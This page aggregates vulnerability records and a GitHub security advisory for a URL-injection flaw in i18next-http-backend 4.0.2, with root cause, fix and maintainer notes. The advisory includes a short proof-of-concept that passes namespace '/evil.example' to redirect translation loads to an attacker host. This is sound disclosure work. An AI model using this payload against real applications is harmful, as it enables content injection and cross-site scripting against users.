i18next-http-backend 4.0.2 Protocol-Relative URL Injection via Namespace in interpolateUrl

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

i18next-http-backend 4.0.2 contains an incomplete fix in interpolateUrl() that allows attackers to redirect translation requests by supplying an ns value starting with a slash. Attackers controlling the namespace value can form a protocol-relative URL in loadPath or addPath templates to load attacker-hosted translations, enabling UI content injection and cross-site scripting.

Source published

23 Oct 2026 12:55:09 UTC

Source modified

29 Oct 2026 13:19:15 UTC

Observed here

29 Oct 2026 15:12:12 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 2.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

CVSS 3.1 · 3.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N

i18next-http-backend 4.0.2 contains an incomplete fix in interpolateUrl() that allows attackers to redirect translation requests by supplying an ns value starting with a slash. Attackers controlling the namespace value can form a protocol-relative URL in loadPath or addPath templates to load attacker-hosted translations, enabling UI content injection and cross-site scripting.

Source published

Oct 23, 2026, 12:55:09 PM (timezone not stated)

Source modified

Oct 29, 2026, 1:19:15 PM (timezone not stated)

Observed here

6 Nov 2026 00:44:16 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 2.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

i18next-http-backend 4.0.2 contains an incomplete fix in interpolateUrl() that allows attackers to redirect translation requests by supplying an ns value starting with a slash. Attackers controlling the namespace value can form a protocol-relative URL in loadPath or addPath templates to load attacker-hosted translations, enabling UI content injection and cross-site scripting.

Source published

23 Oct 2026 13:17:08 UTC

Source modified

29 Oct 2026 14:17:49 UTC

Observed here

30 Oct 2026 22:45:44 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 2.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 3.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N

## Affected versions Verified on 4.0.2 (latest on npm) and on commit 07e0288 (the GHSA-xvq9-wjp8-hwqf fix). Earlier 3.x/4.x versions that allow `/` in ns are likely affected too. Not verified on them. ## Impact Same class as GHSA-xvq9-wjp8-hwqf and GHSA-q89c-q3h5-w34g: when an attacker controls the namespace value, the request goes to an attacker-chosen origin. In a browser this loads attacker-controlled translation JSON (content injection into the UI, and XSS where translations are rendered as HTML). The precondition is a template with `{{ns}}` right after a leading `/`, for example `/{{ns}}/{{lng}}.json`. The 4.0.2 maintainer note says templates with a leading `/` are safe. This case is outside that statement. ## Root cause `isSafeNsUrlSegment` rejects any ns containing `//`, but allows a single leading `/` (needed for nested namespaces like `a/b`). Interpolation into `/{{ns}}/...` puts the template's own `/` next to the value's `/`. The result starts with `//`, which is a protocol-relative URL. The check runs on the value, not on the final URL. ## Minimal PoC ```js import Backend from 'i18next-http-backend' const b = new Backend(null, { loadPath: '/{{ns}}/{{lng}}.json', request: (opts, url, payload, cb) => { console.log(url, '->', new URL(url, 'https://app.example/').origin); cb(null, { status: 200, data: '{}' }) } }) b.read('en', '/evil.example', () => {}) ``` Observed on 4.0.2: ``` POC ns=/evil.example loadPath=/{{ns}}/{{lng}}.json => url=//evil.example/en.json origin in page https://app.example/ = https://evil.example ``` ## Negative controls (same run) - ns `//evil.example`: rejected ("unsafe lng/ns value"). - lng `http:127.0.0.1:9` (the GHSA-xvq9 payload): rejected. - ns `common` and nested ns `a/b`: `common/en.json` and `a/b/en.json`, same origin. ## Suggested fix Validate the final interpolated URL, not just the values: reject it if it starts with `//` or `\`, or if it has a scheme or host the template did not have. The advisory already recommends this ("parse the final URL and require it to remain within the intended origin and path"). Alternatively, reject an ns that starts with `/`. ## Disclosure We intend to keep this private for 90 days from the date of the report, or until a fixed release is available, whichever comes first, and are happy to adjust if you need more time. ## Re-verification Re-run on 2026-10-14 against the same latest release. The PoC still reproduces and the negative controls still hold. Reported by Zachariah Mithani. ## Maintainer note Confirmed and fixed in 4.0.3 (commit i18next/i18next-http-backend@042c3d4). **Preconditions.** The `loadPath` / `addPath` template must put `{{ns}}` directly after a leading `/` (for example `/{{ns}}/{{lng}}.json`), and the attacker must control the namespace value. Applications usually set namespaces in code rather than from user input. The default `/locales/{{lng}}/{{ns}}.json`, templates with an origin, and templates with a fixed path segment before `{{ns}}` are not affected. Only browsers are affected: in Node, `fetch('//host/...')` fails because there is no base URL to resolve against. XSS additionally requires the application to render translations as HTML. **Fix.** The 4.0.2 `//` check looked at each value on its own and could not see the `/` the template puts in front of it. `interpolateUrl` now also checks the interpolated URL: it may only start with `//` or `\` if the template itself does. Protocol-relative CDN templates such as `//cdn.example/{{lng}}/{{ns}}.json` keep working. **Affected range.** Versions before 3.0.5 had no value validation at all and are reachable through this vector too, so the affected range is `< 4.0.3`. **Related.** i18next-fs-backend had the same class of problem for file paths (a leading `/` in `ns`, or `C:` in `lng`, changing the root of a path built from a template that starts with the placeholder). It is fixed in i18next-fs-backend 2.6.9.

Source published

28 Oct 2026 21:07:57 UTC

Source modified

28 Oct 2026 21:15:05 UTC

Observed here

28 Oct 2026 21:55:29 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N

Publisher rating · LOW

## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-9jhj-wvmw-cfx5. This link is maintained to preserve external references. ## Original Descriptioni18next-http-backend 4.0.2 contains an incomplete fix in interpolateUrl() that allows attackers to redirect translation requests by supplying an ns value starting with a slash. Attackers controlling the namespace value can form a protocol-relative URL in loadPath or addPath templates to load attacker-hosted translations, enabling UI content injection and cross-site scripting.

Source published

23 Oct 2026 15:31:30 UTC

Source modified

28 Oct 2026 21:15:04 UTC

Observed here

28 Oct 2026 21:55:29 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Publisher rating · LOW